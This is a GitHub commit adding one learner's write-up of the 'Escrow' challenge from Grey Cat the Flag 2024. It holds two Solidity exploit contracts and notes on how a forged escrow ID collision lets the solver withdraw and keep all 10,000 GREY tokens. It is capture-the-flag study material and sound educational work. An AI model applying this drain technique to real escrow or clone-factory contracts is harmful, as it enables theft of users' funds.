Skip to content

Commit

Permalink
Merge pull request #957 from doublespending/main
Browse files Browse the repository at this point in the history
Add day25 of doublespending
  • Loading branch information
doublespending authored Sep 22, 2024
2 parents 31b0669 + be03d2b commit 762f387
Show file tree
Hide file tree
Showing 3 changed files with 85 additions and 0 deletions.
31 changes: 31 additions & 0 deletions Writeup/doublespending/day25/escrow_1.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup, DualAssetEscrow } from "src/escrow/Setup.sol";

contract Exploit {
Setup setup;

constructor(Setup _setup) {
setup = _setup;
}

function solve() external {
// Deploy escrow that has the same ID as the one to drain
bytes19 zero_bytes = bytes19(abi.encodePacked(address(0)));
(uint256 escrowId, ) = setup.factory().deployEscrow(
0, // implId = 0
abi.encodePacked(address(setup.grey()), zero_bytes) // tokenY = 19 bytes of 0x00
);

// ID of this escrow and the one to drain is the same
assert(escrowId == setup.escrowId());

// Withdraw all GREY from the escrow to drain
DualAssetEscrow escrow = DualAssetEscrow(setup.escrow());
escrow.withdraw(true, 10_000e18);

// Transfer all GREY to msg.sender
setup.grey().transfer(msg.sender, 10_000e18);
}
}
30 changes: 30 additions & 0 deletions Writeup/doublespending/day25/escrow_2.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup, DualAssetEscrow } from "src/escrow/Setup.sol";

contract Exploit {
Setup setup;

constructor(Setup _setup) {
setup = _setup;
}

function solve() external {
// Deploy escrow that has the same ID as the one to drain
(uint256 escrowId, ) = setup.factory().deployEscrow(
1, // implId = 1
abi.encodePacked(address(setup.grey()), address(0))
);

// ID of this escrow and the one to drain is the same
assert(escrowId == setup.escrowId());

// Withdraw all GREY from the escrow to drain
DualAssetEscrow escrow = DualAssetEscrow(setup.escrow());
escrow.withdraw(true, 10_000e18);

// Transfer all GREY to msg.sender
setup.grey().transfer(msg.sender, 10_000e18);
}
}
24 changes: 24 additions & 0 deletions doublespending.md
Original file line number Diff line number Diff line change
Expand Up @@ -366,4 +366,28 @@ B: [Grey Cat the Flag 2024 Milotruck challs](https://github.com/MiloTruck/evm-ct
- At this case, we get [`shares[to=from] = origin + _shares`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/greyhats-dollar/GHD.sol#L133)
- However, the share is expected unchanged.

### 2024.09.22

B: [Grey Cat the Flag 2024 Milotruck challs](https://github.com/MiloTruck/evm-ctf-challenges) (6)

- Escrow

- Ownership of escrowId has been renounced at the end.
- So, we should find a way to get back the ownership through [`deployEscrow`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L70)
- Approach 1

- To by pass the check [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L54), we can construct different `args` that can generate the same `escrowId`
- [`args` contributes to `tokenX` and `tokenY`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L45-L46). They are fetched [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L116-L117). `tokenY` is expected to be `address(0)`.
- However, [`_getArgAddress`](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/lib/Clone.sol#L15-L25) just reads 20 bytes from `argOffset`.
- However, `tokenY` can be `bytes19(0)`. If the following byte is bytes1(0), we can always get `tokenY` as `address(0)` by `_getArgAddress`.
- [For length of data smaller than 256, so the following byte is bytes1(0).](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L47)
- Why not just append 0 bytes to `args`?
- Becasue there is a length check [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/DualAssetEscrow.sol#L49)

- Approach 2
- To by pass the check [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L54), we can construct different `implId` that can generate the same `escrowId`
- We can add the same implementation [here](https://github.com/MiloTruck/evm-ctf-challenges/blob/a385836e1e83543b06ff3b8108cf962f4d74a49d/src/escrow/EscrowFactory.sol#L32) with the same `impl` parameter.
- Then, we get different `implId`(=1) with the same `impl` and `implId` does not contribute to `escrowId`
- However, only factory owner can call `addImplementation`.

<!-- Content_END -->

0 comments on commit 762f387

Please sign in to comment.